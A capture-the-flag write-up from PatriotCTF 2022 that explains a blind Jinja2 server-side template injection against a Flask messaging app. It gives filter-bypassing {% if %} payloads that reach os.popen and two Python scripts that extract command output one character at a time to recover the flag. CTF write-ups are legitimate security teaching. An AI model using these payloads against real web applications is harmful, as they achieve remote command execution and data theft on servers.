This web app is vulnerable to template injection, but `{{` and `}}` is filtered, so we can't use the same method. Jinja has support for if statement templates that look like this: `{% if 'test' == 'test' %} render this string if true {% endif %}`. Let's see what happens when we send this message:

Since Python is an OOP language, we can Method Resolution Order (MRO) to traverse across classes to a method we want, such as `os.popen`. Read more about this here: https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/. The following payload makes use of this to run the `ls` command: `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read() == 'test' %} a {% endif %}`
The problem is that we won't see the output. Instead of `ls`, you could just put a reverse shell and that'd be it, but I removed netcat from the docker and filtered basically any other useful special character so people can't do this.
We can instead do a blind test for the output of the command: `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('" + str(x) + "') %} found {% endif %}`
If we put any character in `x`, then we can test if the output of the `ls` command starts with that character by checking if we see `found` returned back to us. Let's run this with the letter "D": `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('D') %} found {% endif %}`

I chose "D" because `Dockerfile` is the first file in the docker. We just need to script this so we can see the whole output of `ls`. Once we have that, we can try to find the path to the `/admin.html` page so we can read the flag.
Here is the script:```pythonfrom os import popenimport stringimport requests
SERVER_ADDR = "http://127.0.0.1:5000" # replace this with the actual IP of the docker
def get_cookie():    data = {        "username": "test", # make sure to make a test:test user first        "password": "test"     }
    req = requests.post(SERVER_ADDR+"/login", data=data)    cookiejar = req.history[0].cookies    cookie = cookiejar.get_dict()['session']
    return cookie
cookie = {"session": get_cookie()}
final = ""while True:    for x in string.printable:        x = final + x        payload = {'message':"{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('" + str(x) + "') %} found {% endif %}",         'username':'admin'}        r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie)        if 'found' in r.text:            final = x            print(final)            break        else:            pass```
Let's run it:
![](http://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-images/ssti_ls.png)
We see the directory strucutre. We can keep running this until we find the /admin.html file, but I'll skip that. I use a basic flask directory structure, so it is located in `/app/templates/admin.html`. Now let's read the file. There is a lot of HTML fluff that would make the process take forever, so we can speed it up by grepping for `Flag` first. Here's the script:```pythonfrom os import popenimport stringimport requests
SERVER_ADDR = "http://127.0.0.1:5000"
def get_cookie():    data = {        "username": "test",         "password": "test"     }
    req = requests.post(SERVER_ADDR+"/login", data=data)    cookiejar = req.history[0].cookies    cookie = cookiejar.get_dict()['session']
    return cookie
cookie = {"session": get_cookie()}
final = "Flag: PCTF{"while True:    for x in string.printable:        x = final + x        payload = {'message':"{% if request.application.__globals__.__builtins__.__import__('os').popen('grep -io flag.*\} ./app/templates/admin.html').read().startswith('" + str(x) + "') %} found {% endif %}",         'username':'admin'}        r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie)        if 'found' in r.text:            final = x            print(final)            break        else:            pass```
Let's run it:
![](http://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-images/underground_flag.png)